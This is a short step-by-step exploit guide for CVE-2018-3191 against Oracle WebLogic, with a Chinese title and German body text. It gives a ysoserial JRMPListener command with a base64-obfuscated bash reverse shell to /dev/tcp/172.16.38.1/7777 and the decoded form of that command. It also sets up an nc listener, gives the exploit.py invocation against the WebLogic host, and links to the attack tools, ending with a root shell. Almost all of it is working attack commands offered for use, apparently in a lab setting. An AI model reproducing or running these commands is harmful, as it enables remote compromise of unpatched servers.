
CVE-2018-3191 反弹shell
CVE-2018-3191 Reverse Shell Lokale IP: 172.16.38.1 Weblogic: 172.16.38.174:7001 1、 Lokale Ausführung java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
Dann führe nc -lvv 7777 aus
(1) Der bash-Befehl wurde base64-kodiert/dekodiert, um die Escape-Sonderzeichen während der Ausführung von Runtime.getRuntime().exec() zu vermeiden; der Klartext lautet bash -i >& /dev/tcp/172.16.38.1/7777 0>&1 (2) Dieser Vorgang lauscht lokal auf einem JRMPListener, empfängt Anfragen vom angegriffenen Weblogic und führt den angegebenen bash-Reverse-Befehl aus. (3) Nc hört auf Port 7777 und wartet darauf, dass der Weblogic-Host eine Reverse-Bash-Verbindung herstellt. 2、 Ausführen python exploit.py 172.16.38.247 7001 weblogic-spring-jndi-10.3.6.0.jar 172.16.38.1 2222, nutze die Schwachstelle, um Weblogic dazu zu bringen, auf den entfernten RMI-Dienst zuzugreifen und den bash-Reverse-Befehl auszuführen.
3、 Der von nc überwachte Port erhält die Reverse-Bash, Root-Rechte.
Erforderliche Werkzeuge für den Angriff: ysoserial-master.jar // Deserialisierungs-Exploit-Tool https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar weblogic-spring-jndi-10.3.6.0.jar // CVE-2018-3191 Payload-Generierungswerkzeug https://github.com/voidfyoo/CVE-2018-3191/releases exploit.py // Weblogic T3-Protokoll-Sendetool, integriert mit CVE-2018-3191 Payload